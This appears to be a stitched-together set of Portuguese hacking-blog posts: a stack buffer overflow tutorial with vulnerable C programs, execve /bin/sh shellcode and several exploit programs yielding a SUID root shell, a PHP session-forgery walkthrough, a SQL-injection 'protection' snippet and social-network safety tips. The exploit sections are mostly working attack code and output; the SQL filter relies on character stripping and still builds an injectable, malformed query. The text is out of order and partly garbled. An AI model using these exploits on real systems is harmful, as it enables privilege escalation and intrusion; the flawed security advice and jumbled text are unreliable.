#define ENV_LEN             4096 // Pode ser bem grande q naum tem problema
#define BUF_LEN              32
#define NOP                     0×90
unsigned long pega_esp(void) {
__asm__(“movl %esp, %eax”);
}
char shellcode[] =
“xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b”
“x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd”
“x80xe8xdcxffxffxff/bin/sh”;
int main(int argc, char *argv[]) {
char *buffer, *var_amb;
int i;
long new_ret;
// Pegamos a posição do stack e adicionamos offsets se desejado
new_ret = pega_esp();
if (argc > 1) new_ret += atoi(argv[1]); // Adiciona offset
// Alocamos espaco para a variável buffer e enchemos soh o o novo endereco
buffer = malloc(BUF_LEN);
if (buffer == NULL) {
fprintf (stderr, “Erro ao alocar memória para o buffer!n”);
exit(-1);
}
for (i = 0; i <BUF_LEN; i += 4)
*(long *)&buffer[i] = new_ret;
// Agora que o buffer jah ta feito precisamos de criar nossa varaivel de ambiente!
var_amb = malloc(ENV_LEN);
if (var_amb == NULL) {
fprintf (stderr, “Erro ao alocar memória para ambiente!n”);
exit(-1);
}
// Agora colocas um monte de nops no inicio dela
for (i = 0; i < ENV_LEN – strlen(shellcode) – 1; i++) // -1 porque tem q ter o NULL Char no final
var_amb[i] = NOP;
memcpy(var_amb + i, shellcode, strlen(shellcode)); // Colocamos nosso shellcode logo depois dos nops
var_amb[ENV_LEN] = 0;                                             // Colocamos o NULL Char
setenv(“B4D_R37″, var_amb, 1);                                 // Setamos a varaivel com nome B4D_R37
execl(“./vuln02″, “vuln02″, buffer, 0);                        // Executamos o programa vulneravel
}
++++++++++++++++++++++++++++++++++++++++++
Não direi nada a respeito do código porque creio eu que ele já esteja bem comentado!
Vamos aos testes:
——————————————————–
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 1_2_xpl.c -o 1_2_xpl
1_2_xpl.c: In function `main’:
1_2_xpl.c:27: warning: assignment makes pointer from integer without a cast
1_2_xpl.c:37: warning: assignment makes pointer from integer without a cast
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_2_xpl
Você digitou: ▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿
sh-2.05b$ exit
exit
newbie@hostnotfound:~/tecnicas/stack_overflow$
——————————————————
VIVA! Conseguimos de PRIMEIRA! Sem chute de offsets nem nada disso
Endendendo o esquema do SUID
Só pra ficar mais claro agora!
———————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ su
Password:
root@hostnotfound:/home/newbie/tecnicas/stack_overflow# chown root.root vuln02
root@hostnotfound:/home/newbie/tecnicas/stack_overflow# chmod 4755 vuln02
root@hostnotfound:/home/newbie/técnicas/stack_overflow# exit
exit
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_2_xpl
Você digitou: ▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿
sh-2.05b$ id
uid=0(root) gid=0(root)
sh-2.05b$
———————————————
Este tutorial é bem explicativo para aquelas pessoas que ainda estão começando.
Nos tempos de hoje, uma das formas mais utilizadas para esconder e não perder dados, é a forma de registrar uma sessão, Ou cookie, que não será neste post que eu falarei sobre ele.
Session(sessão) é uma variável criada e colocada em algum lugar do navegador de internet, e quando precisa usar essa mesma variável, então o programador cria um código simples para reutilizar esta mesma variável, porem, como tudo tem seu lado bom e seu lado ruim, estas sessões si forem usadas de modo correto, funciona perfeitamente sem correr muitos riscos de uma invasão no site ou algo do tipo.
Esta variável de sessão é desfeita quando o navegador é fechado(obvio, até o nome fala, variável dia sessão).
Vou colocar aqui um código de um sistema vulnerável a ataques via sessão:
Código da pagina login.php:
<?php
//neste exemplo vou citar a sessao chamada ‘nivel’, que é o nível de permissão do user
session_register(‘nivel’);
$_SESSION['nivel']=$nivel_permissao;
//a variável nível_permissao, foi pegada do banco de dados,”exemplo”
?>

Codido index.php:
<?php
/*esta outra pagina ira pegar a sessao registrada e pega também o código do usuário que
Que na maioria das vezes são pegos por sessão ou cookie */
$nivel =$_SESSION['nivel'];
$cod_user =$_SESSION['cod_user'];
//isto é um nível de permissão para os usuarios
/* se o usuario nao estiver com o nivel de permissao (ADM) OU MELHOR nivel de administrador, entao a pessoa nao entra na pagina, agora si ela estiver o nivel de permissao de administrador*/
if($nivel != “ADM”){
header(“location:error.php”);
exit;
}else if($nivel ==”ADM”){
header(“location:/admin/crm.php”);
}else{
exit;
}
?>
//—————————————————————-à
Na pagina acima, nós vimos uma pagina com session vulnerável.
Agora vem a parte boa do ensinamento.
Como explorar esta falha ? alguém sabe?
Isso é mais fácil do que todos pensam ou possam imaginar.
Si você é um usuário do sistema e não tem acesso de administrador, quando você entrar na pagina index.php que tem a validação ele jogará você para uma pagina de erro.
Então ta, Lembra que la no inicio na primeira pagina, login.php. Ele registrou uma
Session com o tipo do usuário. Então para burlar isso… independente do navegador, exclua todos os registros de autenticação do navegador, pois entre elas estará a nossa que registramos ao logar no sistema.. Depois de ter excluido todas as autenticações do navegador, Crie uma pagina em php, registrando uma sessão com o mesmo nome da sessão do “sistema”, porem, agora vamos jogar o valor “ADM” dentro da sessão. FICARÁ MAIS OU MENOS ASSIM:
Código:
<?php
$nivel=”ADM”;
session_register(‘nivel’);
$_SESSION['nivel']=$nivel;
?>
//————————————————————à
Depois disso, basta entrar diretamente na pagina que voce quer os privilegios, que eles estarao todos ao seu dispor. HEHE
Nos Ultimos tempos, o tipo de ataque mais comum entre hackers malvados, é a terrível sql injection. Em Que o hacker injeta um código malicioso no site,sistema(…), e consegui explorar o site, e conseguir diversas informações no site.
Os administradores de sites hoje em dia não estão si preocupando tanto quanto deveriam com a questão de segurança.  Alguns, não é porque não si preocupam e sim porque não dão conta de si proteger contra estes ataques.
Então este que é o meu propósito hoje. É ensinar as pessoas si precaverem do pior, que pode acontecer.
Esse código é muito simples para quem conhece alguma coisa de php.
Código php:
<?php
//si cod que vou pegar via post nao for numero, entao manda para uma pagina de error; caso o link der erro entao da em exit na pagina
if(!is_numeric($_POST['cod']){
header(“location:error.php”);
exit;
}else{//caso contrario o codigo for numero entao pega o cod via post
$cod    =$_POST['cod'];
}
if((isset($_POST['nome']) && ($_POST['nome']==”")){//si existe um post chamado nome e neste post nao estiver nada nele, entao da erro
header(“location:error.php”);
exit;
}
//Aqui vamos comecar a segurança do site, nao podera entrar nenhum caracter especial via post, assim bloquiará os ataques de sqlinjection
//a funcao str_replace, é para substituir caracteres de alguma coisa
$nome  =$_POST['nome'];
$nome  =str_replace(“‘”,”", $nome);
$nome  =str_replace(“+”,”",$nome);
$nome  =str_replace(“@”,”",$nome);
$nome  =str_replace(“(“,”",$nome);
$nome  =str_replace(“)”,”",$nome);
$nome  =str_replace(“&”,”",$nome);
$nome  =str_replace(“=”,”",$nome);
$nome  =str_replace(“!”,”",$nome);
$nome  =str_replace(“#”,”",$nome);
$nome  =str_replace(“%”,”",$nome);
$nome  =str_replace(“*”,”",$nome);
$nome  =str_replace(“.”,”",$nome);
$nome  =str_replace(“,”,”",$nome);
//Aqui podemos selecionar o banco de forma nomal, sem precisar de medo desta query
mysql_select_db($database_local, $local);
$query_rr = sprintf(“SELECT cod, nome, descricao, codigo FROM postss WHERE cod=’$cod’ and where nome=’$nome’”);
//acima eu selecionei cod,nome,descricao e o codigo da tabela postss em que o cod seja igual ao que nos pegamos via post, e o nome seja //igual ao que nos pegamos via post
$rr = mysql_query($query_rr, $local) or die(mysql_error());
$row_rr = mysql_fetch_assoc($rr);
?>
Conclusão
Esse código foi para mostrar para os administradores de sites que dependendo do assunto, é “fácil si proteger”(Entre aspas, é claro).

seguranca em redes sociais

S
Redes sociais podem ser divertidas e perigosas ao mesmo tempo, como é o caso do Orkut e Facebook. Para proteger sua privacidade, ai vai 10 dicas de segurança para vocês.
O principal alvo dos criminosos são as credenciais de acesso dos usuários. Ao obter essas informações, eles podem mandar mensagens e links maliciosos sem ser identificados.
Segundo a Microsoft, a populariadade das redes atrai hackers, spammers, ladrões de identidade e todo o tipo de criminosos virtuais. Veja como se proteger:
1- Muito cuidado ao clicar em links recebidos de amigos e desconhecidos. Alguns deles podem ser falsos e levá-lo para páginas contaminadas com malware e outras pragas virtuais.
2- Não acredite em todas as mensagens que você recebe. Muitos criminosos podem usar contas invadidas para enviar mensagens, como ajuda financeira ou marcar encontros. Procure sempre confirmar por telefone antes de responder a um pedido desses.
3- Cuidado ao publicar seus dados na rede social. Alguns dos criminosos utilizam o recurso de lembrete de senhas que fazem perguntas sobre preferências e fatos da vida do usuário. Datas de aniversário, nome de parentes e animais pode fornecer dados importantes sobre senhas e lembretes.
4- Aprenda tudo o que puder sobre o site. Parece chato, mas você deve entender a rede social e suas políticas de privacidade por exemplo. Assim, se você se sentir ofendido e ameaçado em alguma ocasião, poderá acionar o site com embasamento em suas próprias regras.
5- Não aceite qualquer pessoa como amigo. Uma rede social não deveria ser uma corrida por popularidade, mas geralmente é. Isso faz com que as pessoas saiam adicionando pessoas estranhas sem critérios. Algumas delas podem ser criminosos, esperando por alguém que queria acessar as informações do seu perfil.
6- Evite publicar seu e-mail pessoal. Desconsidere a possibilidade de inserir o seu e-mail na página de perfil do site. Você pode virar alvo de spam, pragas como malware e até ameaças escritas, também conhecidas como cyberbullying.
7- Escreva o endereço do site direto do navegador. Links em outras páginas ou e-mails podem fazê-lo cair em uma situação phishing, o que acaba no roubo de seus dados de login. Procure salvar o endereço em seus favoritos também.
8- Cuidado com o que você coloca na rede. Fotos e mensagens podem ser apagadas, mas isso não significa que elas vão desaparecer da rede. Sempre haverá alguém para salvar a tela e publicar em outro lugar.
9- Tente não utilizar redes sociais no serviço. Se você usa um computador compartilhado, há risco de outros usuários acessarem suas informações. Principalmente se todos compartilham a mesma senha de rede. Sem contar com as acusações de improdutividade.
10 – Cuidado com os aplicativos. Eles podem ser divertidos, mas podem ser utilizados por criminosos para roubar suas informações. Sempre pesquise sobre eles antes de liberá-los em sua conta.
seguranca-em-redes-sociais
seguranca-em-redes-sociais
Iae galera,
Este tutorial é bem explicativo, de como explorar uma falha em um programa.
Então vamos começar
Stack overflow – esta é uma das técnicas mais fáceis(pelo menos que eu acho).
Não ensinarei a criar shellcodes e essas  coisas,  sei  que  e  relacionado  ao assunto  mais  segue  um  caminho totalmente  diferente com relação  ao  que  eu  quero  passar  para  vocês. Vejam o meu post que eu estou disponibilizando um livro de buffer overflow. Não percam, estou disponibilizando vários livros que eu mesmo estou traduzindo. Dêem uma olhada no blog, e procure sobre alguns dos meus livros.



Introdução
Um processador e formado por uma ULA(Unidade Lógica Aritmética), uma Unidade de Controle e pelos Registradores.
Registradores  são pequenas  áreas da memória(dentro do processador) que servem para armazenar  alguns dados para serem processados para assim não precisar de ficar pegando e tirando dados da memória!  Mais  isso  tem  um  poder  quanto  a  limitação.   Não  pense que esses dados de memórias  chegam  aos  MBytes  muito  menos aos KBytes… estou falando em registradores de alguns Bits.
Isso nos da uma limitação quando nós carregamos um programa… porque não conseguirmos executar todas as instruções sem a perda de alguns dados… Para isso existe a pilha…
A pilha(stack) é uma forma de ampliar a nossa área de atuação…   Ela é uma região da memória que foi separada para armazenar alguns dados do processamento de um programa. Vejamos a utilização de uma função em C:
——————————-
Soma (10, 4);
——————————-
Talves, o processador poderia colocar esses valores nos registradores. mas se fossem numero muito grande ou se o numero que eu quisesse
somar fosse maior que o numero de registradores? Isso ele resolve facilmente…
ele simplesmente empurra (push) esses valores para a pilha… Só que ele não pode
empurrar o 10 e depois o 4 porque a pilha não tem esse nome em vão. Ela tem esse nome justamente porque ela funciona como uma pilha de livros…
Se você colocar um livro em cima da pilha, quando você retirar, você vai tirar o
ultimo que você colocou já que ele esta no topo… Então para processar esses
parâmetros passados e necessários empurrar o 4 e em seguida o 10:
——————————-
push 4
push 10
——————————————————————————————-
Então vamos ao nosso Primeiro programa bugado(vulnerável)
Agora vamos ver como um programa faz para separar uma área de stack para
armazenar um valor! Vamos fazer o seguinte programa em C:
++++++++++++ vuln01.c +++++++++++++++
/*
Primeiro exemplo de programa bugado a stack overflow para o tutoria de Stack Overflow.
Escrito por chuck_newbie, mas em qualquer tutorial e mesma coisa .
chuck_newbie@hotmail.com
*/
#include <stdio.h>
int main(int argc, char *argv[]) {
char buffer[256];
if (argc < 2) {
printf (“Use: %s <string>n”, argv[0]);
exit(0);
}
strcpy(buffer, argv[1]);
printf (“Você digitou: %sn”, buffer);
}
++++++++++++++++++++++++++++++++
Esse e um simples programa que separa uma área no stack para armazenar
vários caracteres(no caso foi 256). Em seguida ele pega o primeiro argumento passado
pelo usuário e copia para dentro dessa variável supondo que o usuário não digite
mais que 256.
“Mais que 256”, eu falo isso porque quando você declarou a variável para aceitar até 256 caracteres, o sistema separo espaço no stack para armazenar esse valor..
Então ele disse “essa área vai ser para o variável buffer e ela terá o máximo 256 bytes… ou seja… ninguém mais vai usar ela!” e o resto do sistema não usa esse espaço na memória… mais tem um porem… Ele pode muito bem usar o que tem antes e o que tem depois…
E ele irá usar para armazenar dados importantes para nosso programa.
E se colocar-mos mais, o que aconteceria?
Vamos testar?
————————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc -o vuln01 vuln01.c
newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln01
Use:  ./vuln01 <string>
newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln01 chuck_newbie
Você digitou: chuck_newbie
newbie@hostnotfound:~/técnicas/stack_overflow$
————————————-
Agora entendeu como ele funciona? Ele simplesmente pega o valor que eu digitei como parâmetro e copia para dentro da variável buffer! Mais veja o seguinte:
————————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln01 `perl -e ‘print “A”x300;’`
Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$
————————————
Para quem não conhece perl, eu explico; única coisa que eu fiz agora, foi multiplicar o “A” por 300, que o resultado deu trezentos A.
Então, quando eu fiz essa multiplicação, eu mandei esse tanto de “A”, para o programa bugado, e deu erro no nosso programa:
É obvio porque deu ERRO, mais vou explicar. É Porque nós colocamos mais dados no buffer do que ele suportava.
Isso fez com que fosse sobrescrita alguma área de memória importante para o funcionamento do nosso programa.
Essa área nada mais e do que o endereço de retorno da função “strcpy”.
Debugando com o GDB
Vamos usar o programa GDB(GNU Debugger) para saber o que o sistema faz no nosso programa:
——————————–
newbie@hostnotfound:~/tecnicas/stack_overflow$ gdb vuln01
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB.  Type “show warranty” for details.
This GDB was configured as “i486-slackware-linux”…
———————————-
Agora vamos disassemblar a função main
———————————-
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    sub    $0×108,%esp
0x080483cd <main+9>:    and    $0xfffffff0,%esp
0x080483d0 <main+12>:   mov    $0×0,%eax
0x080483d5 <main+17>:   sub    %eax,%esp
0x080483d7 <main+19>:   cmpl   $0×1,0×8(%ebp)
0x080483db <main+23>:   jg     0x80483f7 <main+51>
0x080483dd <main+25>:   sub    $0xc,%esp
0x080483e0 <main+28>:   push   $0x80484f4
0x080483e5 <main+33>:   call   0x80482d0
0x080483ea <main+38>:   add    $0×10,%esp
0x080483ed <main+41>:   sub    $0xc,%esp
0x080483f0 <main+44>:   push   $0×0
0x080483f2 <main+46>:   call   0x80482e0
0x080483f7 <main+51>:   sub    $0×8,%esp
0x080483fa <main+54>:   mov    0xc(%ebp),%eax
0x080483fd <main+57>:   add    $0×4,%eax
0×08048400 <main+60>:   pushl  (%eax)
0×08048402 <main+62>:   lea    0xfffffef8(%ebp),%eax
0×08048408 <main+68>:   push   %eax
0×08048409 <main+69>:   call   0x80482f0
0x0804840e <main+74>:   add    $0×10,%esp
0×08048411 <main+77>:   sub    $0×8,%esp
0×08048414 <main+80>:   lea    0xfffffef8(%ebp),%eax
0x0804841a <main+86>:   push   %eax
0x0804841b <main+87>:   push   $0×8048506
0×08048420 <main+92>:   call   0x80482d0
0×08048425 <main+97>:   add    $0×10,%esp
0×08048428 <main+100>:  leave
0×08048429 <main+101>:  ret
0x0804842a <main+102>:  nop
End of assembler dump.
(gdb)
—————————————-
Vamos tentar entender alguma coisa dai!
Não e necessário saber Tudo.
Vamos começar nas duas primeiras linhas:
—————————————-
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
—————————————-
Esse e o procedimento inicial de qualquer programa C compilado!
continuando:
—————————————
0x080483c7 <main+3>:    sub    $0×108,%esp
————————————–
Essa instrução subtrai 0×108(264) “ds” posição do stack(Stack Pointer – SP).
Isso serve para declararmos uma posição no stack para uma variável, e essas
coisas.
Podemos observar que existe varias chamadas(calls) para outras partes
da memória… Mais tem um porem na instrução call, você sabe como ela faz
para poder retornar na instrução seguinte?
O que eu quero saber é como o programa sabe em que endereço os “call” foram executados para poder voltar quando terminar de executá-lo!
Simples…
O nome desse endereço, é endereço de retorno(Return Address) e ele ficam armazenados no stack..
Olha que legal!
Então vejamos… Se nos separamos espaço para nossa variável de 256
caracteres e um pouco acima(isso e pilha) separamos um espaço para o
endereço de retorno o que acontece se nos colocarmos mais de 256 caracteres?
Para ficar mais claro veja o esquema?
PILHA
———————————————————————————–
| buffer[256]          | mais alguma coisa | endereco de retorno |
———————————————————————————–
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|——————————————————————————->
Percebeu que uma hora nés sobrescrevemos o endereco de retorno?
Entao vamos ver isso na pratica :)
Vamos imprimir na tela, 272 “AS”, e mandar para nosso programa que está separando 256 bits.
——————————
(gdb) r `perl -e ‘print “A”x272;’`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/newbie/tecnicas/stack_overflow/vuln01 `perl -e ‘print “A”x272;’`
Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0×41414141 in ?? ()
(gdb)
——————————
Deu um erro de segmentação!
porque aonde esta 0×41414141?
—————————–
0×41414141 in ?? ()
—————————–
OBS: quando você estiver estudando este tutorial, baixe o programa debuger, e faça os mesmos teste, pois os resultados que estamos pegando está la.
VOLTANDO..
Você pode estar se perguntado o que isso prova. qual e o valor HEX do
caracteres A ? 0×41 ?
o programa tentou apontar para a posição AAAA da memória!
Se ainda não ficou muito claro vamos ver o seguinte:
——————————
(gdb) r `perl -e ‘print “A”x268 . “ABCD”;’`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/newbie/tecnicas/stack_overflow/vuln01 `perl -e ‘print “A”x268 . “ABCD”;’`
Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAABCD
Program received signal SIGSEGV, Segmentation fault.
0×44434241 in ?? ()
(gdb)
—————————–
Agora ele tentou saltar para o endereço 0×44434241 = BCDA.. Uai, mais eu
Não digitei ABCD no final…
Sim amigo… mais se lembra que no stack o ultimo a entrar e o primeiro a sair?
Nesse caso ele empurro(push) o caractere “D” para o ultimo…
Entao ele foi o primeiro a sair(0×44).. Mais com isso nos só conseguimos fazer
um simples ataque DoS no sistema para killar algum programa e isso não nos interessa
muito! Então o que podemos fazer mais?
Como você percebeu… nós conseguimos alterar para onde o programa saltará.
Então porque não fazemos ele saltar para uma posição da memória que tenha um código
que realmente de para executar?
ta começando a clarear?
Nós podemos executar qualquer código dentro do sistema!
Agora entra um outro assunto mais antes vamos pegar um valor importante para nosso exploit inicial:
a posição da stack(Stack Pointer ou ESP) para fazer nosso exploit inicial. Veremos
que podemos usar um artifício para não precisar de saber esse valor mais inicialmente
é bom saber-mos:
————————
(gdb) info reg esp
esp            0xbffff420       0xbffff420
(gdb)
———————–
Agora vamos ao outro assunto que eu disse agora pouco!
————————————————————————————————–
Programas SUID
Programas SUID são programa que tem o bit mais ativado(chmod +s vuln01)
isso faz com que ele seja executado com as permissões  do super usuário(root)..
mais você fica limitado só a esse programa… não adianta tentar colocar ele
em background e digitar ‘id’ esperando um uid=0(root) que você  vai se decepcionar!
Aí, que nos entramos…
Se esse programa estiver vulnerável a overflow nós podemos
executar algum código dentro dele… então  nós so precisamos de executar um
/bin/sh para abrir uma shell como root… já que o programa que executo ele está
rodando com as permissões do root!
Qual código colocar na memória?
O código que deveremos colocar na memória se chama shellcode(código
de shell)… só  q ele deve ser escrito em linguagem de maquina para ser executado!
Veja o post que eu disponibilizo um livro de shellcodes em português. Logo, baixe o livro e estude. O shellcode que nos executaremos e o seguinte:
————————————-
char shellcode[] = “xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b”                                   “x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd”
“x80xe8xdcxffxffxff/bin/sh”;
————————————
Se você assustou, então faça o que eu disse o livro, que você vai entender como criar uma shell.
O que você precisa de saber de ante mão e que esse código  faz o mesmo que:
execl(“/bin/sh”,”/bin/sh”,0);
Só que em linguagem de maquina!
Escrevendo o Exploit
Para, aprender a criar um exploit. Veja em um de meus posts que eu estou disponilizando um livro traduzido do metasploit.
Agora que temos a shell,  vem a parte mais legal de tudo…
Vamos fazer um programa que explora esse nosso programa fazendo ele executar o nosso shellcode!
O que nos faremos e o seguinte:
Encheremos uma variável com nosso shellcode e com o endereço dele de uma
maneira que esse endereço fique corretamente sobre o endereço de retorno da seguinte
forma:
+—————————-+——————————+———————–
| buffer[256]                 |      mais alguma cosia  |         retorno       |
+————————— +——————————+———————–
| CCCCCCCCCCCCCCCRRRRRRRRRRRRRRRRRRRRRRRRRRRRR|
onde:
C = Nosso shellcode
R = Novo endereço de retorno
O grande problema(agora) é saber para onde apontar já que ele deve apontar
corretamente no inicio do nosso shellcode… então nós teremos que fazer o endereço
de retorno apontar para a posição da pilha(ESP) já que nosso shellcode ficara lá  e
em seguida ficar chutando variações(offsets) para tentar fazer ele cair certinho aonde
queremos! Segue o código do exploit bem comentado:
+++++++++++++++++ 1_xpl.c +++++++++++++++++++++
/*
Exploit para o primeiro exemplo de programa bugado a stack overflow
Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial
*/
#define TAM    272              // Tamanho do nosso buffer até ele sobrescrever o ret
#define ESP     0xbffff420   // Posição da pinha que nos pegamos usando o GDB
//  Vamos declarar nosso shellcode
char shellcode[] =
“xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b”
“x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd”
“x80xe8xdcxffxffxff/bin/sh”;
int main(int argc, char *argv[]) {
char buffer[TAM];
long addr;  // Para armazenar o endereço do shellcode
int i;
// Armazenamos o valor do endereço  de buffer
addr = ESP;
// Possibilitamos alterar o endereço de retorno para chutar variações(offsets)
if (argc > 1) addr += atoi(argv[1]);
printf(“Novo endereço: 0x%08xn”, addr);
// Enchemos o buffer com o esp + offset(q se tivermos sorte será aonde está nosso shellcode)
for (i = 0; i < TAM; i += 4)
*(long *)&buffer[i] = addr;
// Agora colocamos o shellcode no inicio dele
memcpy(buffer, shellcode, strlen(shellcode));
// E executamos vuln01 passando nosso buffer maligno como parâmetro
execl(“./vuln01″, “vuln01″, buffer, 0);
}
++++++++++++++++++++++++++++++++++++++++++
Agora vamos ao teste:
———————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 1_xpl.c -o 1_xpl
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl
Novo endereço: 0xbffff420
Você digitou: ë^1ÀFF
(um monte de trosso estranho)
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$
———————————————
Vimos que não deu de cara o inicio já que nosso shellcode não esta no inicio do stack
Então  só nos resta ficar chutando offsets de 1 em 1:
——————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 1
Novo endereco: 0xbffff421
Você digitou: ë^1ÀFF
Instrução ilegal
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 2
Novo endereco: 0xbffff422
Você digitou: ë^1ÀFF
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 3
Novo endereço: 0xbffff423
Instrução ilegal
newbie@hostnotfound:~/técnicas/stack_overflow$
——————————————
Isso e trabalhoso, né ? Logo, a função de nós(fucadores) e agilizar nosso trabalho.
Faça o seguinte script em perl:
++++++++++++ exec.pl +++++++++++++++
#!/usr/bin/perl
############################################
# Script[zinhu] para agilizar o chute dos offsets em uso nos exploits    #
# Feito por chuck_newbie – chuck_newbie@hotmail.com                      #
# use: perl exec.pl [programa] [offset inicial] [offset final] [variacao]  #
############################################
$prog=$ARGV[0];
$offset_ini=$ARGV[1];
$offset_fim=$ARGV[2];
$offset_int=$ARGV[3];
for ($i = $offset_ini; $i < $off_set_fim; $i += $offset_int) {
printf “Offset: ” . $offset_ini + $i . “n”;
system(“./$prog $i”);
}
++++++++++++++++++++++++++++++++
Agora vamos testá-lo:
——————————————–
newbie@hostnotfound:~/tecnicas/stack_overflow$ perl exec.pl 1_xpl 1 1000 1
blablablablalba
blablablablablablabla
blablablablablabla
( e depois de varios offsets )
417
Novo endereco: 0xbffff5c1
Você digitou: ë^1ÀFF
sh-2.05b$
——————————————
Executamos o /bin/sh.
Mais percebeu que foi usado o offset 417 ?
Se tivesse que fazer isso na mão quando você acertasse seu filho já conheceria essa
Técnica(supondo que você ainda não tenha nenhum)! Então vamos melhorar nosso
exploit consideravelmente usando um artifício muito bom e utilizado!
Utilizando NOP – No Operation
Um NOP e um comando em ASM que significa No Operation.. ou seja.. ele faz
uma coisa muito importante..NADA!!
O que nós poderíamos fazer é o seguinte:
- Encher nosso buffer com NOPs e depois com nosso shellcode. Isso porque se o
Endereço de retorno cair em algum NOP então ele e executado corretamente
e em seguida passa para o próximo e assim vai ate chegar ao destino?
isso!!!
No nosso querido e amado shellcode! Então nos temos que fazer nosso buffer da seguinte forma!
+—————————-+——————————+———————–
| buffer[256]                 |      mais alguma cosia  |         retorno       |
+————————— +——————————+———————–
| NNNNNNNNNNNCCCCCCCCCCCCCCCRRRRRRRRRRRRRRRRR|
Onde:
N = NOP = 0×90(linguagem de maquina)
C = ShellCode
R = Endereço que sobrescrevera o endereço de retorno
Se você já entendeu vamos parar de falar e vamos ao código… agora, si você não entendeu leia de novo:
+++++++++++++++++ 2_xpl.c +++++++++++++++++++++
/*
Segundo exploit para o primeiro exemplo de programa bugado a stack overflow
Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial
*/
#define TAM    272
#define ESP     0xbffff420
#define NOP   0×90
//  Vamos declarar nosso shellcode
char shellcode[] =
“xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b”
“x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd”
“x80xe8xdcxffxffxff/bin/sh”;
int main(int argc, char *argv[]) {
char buffer[TAM];
long addr;  // Para armazenar o endereço do shellcode
int i;
// Armazenamos o valor do endereço de buffer
addr = ESP;
// Possibilitamos alterar o endereço de retorno para chutar variações(offsets)
if (argc > 1) addr += atoi(argv[1]);
printf(“Novo endereço: 0x%08xn”, addr);
// Enchemos o buffer com o esp(que pressupomos que e onde esta o shellcode)
for (i = 0; i < TAM; i += 4) {
*(long *)&buffer[i] = addr;
}
// Vamos encher uma parte do buffer com nossos NOPs
for (i = 0; i < TAM – strlen(shellcode) – 24; i++)
buffer[i] = NOP;
printf (“Colocado %d NOPsn”, TAM – strlen(shellcode) – 24);
// Agora colocamos o shellcode depois dos nops
memcpy(buffer + i, shellcode, strlen(shellcode));
// E executamos vuln01 passando nosso buffer maligno como parâmetro
execl(“./vuln01″, “vuln01″, buffer, 0);
}
++++++++++++++++++++++++++++++++++++++++++
Agora executando:
————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 2_xpl.c -o 2_xpl
newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl
